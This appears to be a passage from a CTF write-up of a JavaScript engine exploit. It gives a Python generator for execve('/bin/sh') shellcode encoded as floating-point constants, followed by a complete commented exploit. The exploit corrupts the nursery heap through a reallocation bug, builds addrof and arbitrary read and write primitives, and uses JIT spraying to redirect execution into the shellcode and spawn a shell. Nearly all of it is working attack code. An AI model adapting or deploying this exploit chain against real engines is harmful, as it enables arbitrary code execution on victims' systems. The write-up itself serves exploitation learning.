from Crypto.Util.number import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

def d2h(f):
    return hex(struct.unpack('<Q', struct.pack('<d', f))[0])

def h2d(f):
    return struct.unpack('>d', long_to_bytes(f).rjust(8, b'\x00'))[0]

# Craft Payload
# Shellcode taken from https://ctftime.org/writeup/29915
instructions = [
"mov ebx, 0x0068732f",
"shl rbx, 32",
"mov edx, 0x6e69622f",
"add rbx, rdx",
"push rbx",
"xor eax, eax",
"mov al, 0x3b",
"mov rdi, rsp",
"xor edx, edx",
"syscall"
]

print('function sc() {')
print(f'    sc_marker = {h2d(0x41414141)};      // 0x41414141 in memory. Will be used during searching for the address of our const.')
bytecodes = [asm(i) for i in instructions]
for i, bytecode in enumerate(bytecodes):
    x = struct.unpack("<d", (bytecode.ljust(8, b"\x90")))[0]
    print(f'    SC{i+1} ={x}')
    i += 1
print('}')
exit()

Below is the full script that I use to spawn the shell

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/* Sequence of operations to corrupt the Nursery Heap */
// NOTES:
// - The size that I choose is based on trial-and-error inspecting the GDB
// - Funny, but adding multiple line of comments also affect the nursery heap chunk layout. So I use inline comment to make sure my payload is working lol.
a = new Array(0x7e) // This will initialize a-chunk inside the Nursery Heap. position_ (Nursery heap pointer to the first unallocated chunk) is still correct
b = new Array(0x50) // This will add a new chunk (b-chunk) after the a-chunk position_ is still correct
a.length = 0 // This will trigger reallocateBuffer (which is the bug). After this, the position_ is corrupted, where it is now pointing to around the middle of a-chunk
b.fill(0) // Fill b to increase the array b total element count, so that later we can write a value to any of b array elements.
c = new Array(0x50) // This will add a new chunk (c-chunk), which overlap a-chunk & b-chunk. position_ will point to around b-chunk
c.length = 0x10 // This will trigger reallocateBuffer (which is the bug). After this, the position_ is corrupted, where it is now pointing to around the middle of b-chunk, specifically in the area of b-chunk array elements.
d = new Array(0x20) // This will add a new chunk (d-chunk), which overlap b-chunk. Now, this d array metadata is actually overlapping with the b array elements. Hence, with b, we can overwrite the metadata stored for array d.
d.fill(0) // Fill d to increase the array d total element count.
// Assign 3 properties to d. This will be used during crafting addrof method
d.x = 2.4303e-320;
d.y = 2.4303e-320;
d.z = 2.4303e-320;

/* Initializing helper method for casting purposes */
// Converter taken from https://org.anize.rs/corCTF-2021/pwn/outfoxed
// This will help us to convert between BigInt and Double easily
let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);

// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}

// Add double with BigInt. Return Double
function doubleAddBigInt(x, y) {
    return i2d(d2i(x) + y)
}



/* Building function to perform read & write */
// Some ideas are taken from https://webcache.googleusercontent.com/search?q=cache:ySfo3rNPA2kJ:https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/

d.x = 0.0;
d.y = 0.0;
d.z = 0.0;
// Return given object address
function addrof(o) {
    // The purpose of this logic is given an object, we want to get the address of it. Logic:
    // - First, we will store the original pointer of the object d properties
    // - Then, we will set the given object to d.y
    // - Instead of reading the stored value inside d.y, what we want to read is only the 6-LSB (bytes, not bits)
    //   So, the trick is we will try to read d.x+6 (shift the current object d properties pointer by 6)
    // - Now, the new d.x 8-bytes will consist of |d.y+5|d.y+4|d.y+3|d.y+2|d.y+1|d.y|d.x+8|d.x+7|
    // - After that, convert it to BigInt, and then shift it by 2-bytes, so that we get the true address without tag.
    // - Revert the pointer and return the Double representation of the object address.
    original = b[27]
    d.y = o
    b[27] = doubleAddBigInt(b[27], 0x6n)
    result = i2d(d2i(d.x) >> 16n)
    b[27] = original
    return result
}

// Write value (double) to the given address (double)
function write(dbl_addr, dbl_val) {
    // General logic:
    // - Overwrite the object d properties pointter to the given address.
    // - Now, d.x will point to the given address.
    // - Assign d.x value, which mean now the given address contains our given value.
    original = b[27];
    b[27] = dbl_addr;
    d.x = dbl_val;
    b[27] = original;
}

target_buf = new Float64Array(1);
target_buf.fill(2.4303e-320) // Just to set the array element count
data_ptr = doubleAddBigInt(addrof(target_buf), 0x30n)

// Given an address in Double form, read & return the address stored value as double
function read(dbl_addr) {
    write(data_ptr, dbl_addr)
    return target_buf[0]
}

/* JIT Spray */
// Some ideas are taken from https://ret2.life/posts/corCTF-2021/#fn:2
// Shellcode are inspired from https://ctftime.org/writeup/29915

// This will be JITed later. These const will be stored in a r-x region after being JITed.
function sc() {
    sc_marker = 5.40900888e-315;      // 0x41414141 in memory. Will be used during searching for the address of our const.
    SC1 = -6.827620262216015e-229
    SC2 = -6.82852429045179e-229
    SC3 = -6.82831220543336e-229
    SC4 = -6.828527040799766e-229
    SC5 = -6.828527034422697e-229
    SC6 = -6.828527034440643e-229
    SC7 = -6.828527034390964e-229
    SC8 = -6.828527042770368e-229
    SC9 = -6.828527034447392e-229
    SC10 = -6.828527034370483e-229
}

// Execute sc 0x1000 to make it got JITed
for (i = 0; i < 0x1000; i++) sc();

// Get the function address
sc_addr = addrof(sc)

// Inspecting via gdb, we found that sc_addr + 0x28 contains pointer to JIT area
jit_info = doubleAddBigInt(sc_addr, 0x28n)
jit_addr = read(jit_info)
code_addr = read(jit_addr) // Now we have the address of the JIT area

// Brute force per byte until we found our magic string (0x41414141)
for (var i = 200n; i <= 132777n; i++) {
    print(i)
    sc_start = doubleAddBigInt(code_addr, i)
    check = read(sc_start)
    if (check == 5.40900888e-315) {
        print(sc_start)
        break
    }
}

// Our real payload start 8 bytes after it
sc_start = doubleAddBigInt(sc_start, 0x8n)

// Overwrite the jit address pointer of our sc func to point to our hidden shellcode
write(jit_addr, sc_start)

// Call our shell
sc()

Social Media

Follow me on twitter

References